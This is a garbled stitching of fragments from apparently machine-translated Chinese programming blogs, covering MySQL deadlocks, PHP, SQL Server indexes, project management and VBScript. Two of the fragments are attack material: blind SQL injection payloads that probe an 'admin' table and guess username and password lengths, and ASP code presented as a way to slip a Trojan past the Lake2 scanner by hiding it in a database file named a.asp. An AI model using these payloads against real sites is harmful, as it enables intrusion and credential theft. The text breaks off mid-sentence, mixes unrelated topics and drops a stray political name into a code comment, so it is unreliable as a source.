Recently, in the project development process, encountered the database deadlock problem, in the process of solving the problem, the author of the MySQL InnoDB engine lock mechanism understanding gradually deepened.
The case is as follows:
The deadlock problem was found when using show InnoDB status to check engine state:
(1) TRANSACTION:TRANSACTION 0 677833455, ACTIVE 0 sec, Process no 11393, OS thread ID 278546 starting index readMySQL tables in use 1, locked 1Lock wait 3 lock struct (s), He
guessed (admin exists if the table is normal, and admin exists if the table is abnormal)
And exists (select * from admin)
If the returned result is correct and admin exists, we can enter one. The returned error does not exist.
Now let's guess the fieldAnd exists (select username from admin)
And exists (select password from admin)
No error indicates that both fields do not exist.
Guess the username and password length
And (select top 1 len (username) from admin)> 0And (select top 1 len (password
In the following code, how to filter html such as htmlentities () is to filter the keyword, that is, to filter out the html code from the search content entered by the user
If you have trouble, give the code directly. The younger brother doesn't know much about php. thank you.
Public function search () {global $ _ FANWE; $ page_args = array ('City _ PY' => CURRENT_CITY_PY, 'sort '=> trim ($ _ FANWE ['request'] ['sort']), 'keyword' => trim ($ _ FANWE ['request'] ['keyword']),); $ keyword = '';
Below we together to see and an article about PHP BCD code compression-The decimal number compressed into hexadecimal data instances, I hope that the article to help you students oh.
Example, PHP BCD compression-Compress decimal numbers into hexadecimal data
The code is as follows
Copy Code
/*PHP BCD compression-Compress decimal numbers into hexadecimal dataFor example 0091 after compression 0x00 0x91*/$string = ' 0091 ';$bytes = Bytes::getbytes ($string);Print_r
I.is_unique_constraint = 0and O.name= ' testtable '--the name of the table to be looked upORDER by (Dm_ius.user_seeks + Dm_ius.user_scans + dm_ius.user_lookups) ASC--View missing indexes on tables in database and generate indexed statementsSELECT t4.name,t1. [statement],t1.object_id, T2.user_seeks, T2.user_scans,T1.equality_columns, T1.inequality_columns,t1.included_columns,Case--when t1.equality_columns is null and CHARINDEX (', ', T1.inequality_col
:
Unrealistic schedule
The deadline book may be a book that project stakeholders should read. It clearly depicts and describes the cause of project failure, unfortunately, such projects are still everywhere. In almost every book about software development, the author can give examples of failures to prove what damage the deadline imposed by external pressure on the development team will do to the project, maybe in the business world, A deadline cannot be broken.
There is no mistake in develop
Phpbcd code compression-compress decimal numbers into hexadecimal data. Next, let's take a look at the example about how to compress the phpbcd code to compress the decimal number into the hexadecimal data. I hope this article will help you. For example, compress the phpbcd code-let's take a look at the following section with regard to php bcd code compression-compress the decimal number to the hexadecimal data instance, I hope the article will help you.
For example, compress the php bcd code-co
Hanxiaolian
To avoid lake2 ASP Webmaster Admin Assistant and write.
A. Bypassing the Lake2 ASP Trojan scan Pony
Copy Code code as follows:
Set C = CreateObject ("ADOX.") Catalog ")
C.create ("Provider=Microsoft.Jet.OLEDB.4.0;Data source=" server.mappath ("a.asp"))
Set c = Nothing
Cserver.mappath ("a.asp")
Set Conn=server.createobject ("Adodb.connection")
Conn.Open ConnStr
Conn.execute ("CREATE Table Nomm (Nomuma oleobject)")
Set Rs=server.createobject ("Adodb.recordset")
Sql
respectively:2.1, inquires the user to say the table reverse displaySelect CreateDate, id as Dataid, customerId, concat (' Publish said: ', content) as content from Ixt_customer_note order by CreateDate Desc2.2, the query said comments positive sequence displaySelect Nc.createdate, Nc.dataid, Nc.customerid, concat (' Comment: ', nc.content) as content from Ixt_customer_note_comment NC Left JOIN Ixt_customer_note N in nc.dataid=n.id order by n.createdate DESC, nc.createdate
process for maintenance of any mailbox server. In daily maintenance, we should strictly follow this process to avoid expansion of the problem.
For example, I have a lot of standard procedures for mailbox server maintenance. For example, you may need to migrate your emails from one email server to another. The first step and the second step are clearly defined. With this process specification, even if you have never been in touch with the Exchange Mailbox server before, you can complete the task
is no strong technical accumulation logic. A complete software project usually requires a lot of development work. The project manager needs to do a lot of work, mainly to control the progress of a project.
The software product development model is complex. Normally, a product manager has several project managers, and each project manager is responsible for the development of some local projects. During development, it is possible that all projects use one function kernel. The source code gener
of code.
In the following article, we will elaborate on the main differences between WEBRTC native development and hybrid development.WebRTC native DevelopmentWEBRTC code is developed in C + +, and if native development is used, there must be someone on the team who is proficient in C + +. And if you want to be able to understand and modify the WEBRTC code, just C + + is far from enough, but also to be familiar with streaming media technology. WEBRTC involves more than 20 RFC documents, if
(as_filename, streammode !)If li_file =-1 then return 0
// Read the fileLi_dataread = fileread (li_file, lb_data)If li_dataread Fileclose (li_file)Return 0End if
// Currently, there are two main types of GIF// 1. It is identified as gif87a and is only used to store a single static image.// 2. Marked as gif89a. Several static images can be stored at the same time to form continuous animation.// The first 6 bytes of the file are marked as: gif87a or gif89a, and the 7 or 8 bytes are the image widt
staffing processes need to adapt to new technologies. Significant changes follow the new server configuration. Of course, organizations will no longer need administrators with rich hands-on experience in some areas, and require a more comprehensive administrator role. A skill shortage and vmware-based virtualization technologies are emerging topics. Popular tools Create a high level of experience resource requirements. And because technology is emerg
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The Code is as follows: (I won't insert code, but I don't know how CSDN operates. Clicking insert code is a Copy codeThe Code is as follows: Class Con_Convert
'****** Global message
Private I, j, value0, value1, value2
Private Sub Class_Initialize
End Sub
Private Sub Class_Terminate
End Sub
'================================================ ========================================================
'Check Type, Return true/false
'================================================ =================
follows:
Class Con_convert
' ******global message
Private I,j,value0,value1,value2
Private Sub Class_Initialize
End Sub
Private Sub Class_Terminate
End Sub
' ==============================================================================
' Check Type, return Ture/false
' ==============================================================================
Public Function isstr (ByVal Value)
Isstr=true
End Function
' Hu Jintao Check string if is Integer
Public Function Isinteger (ByV
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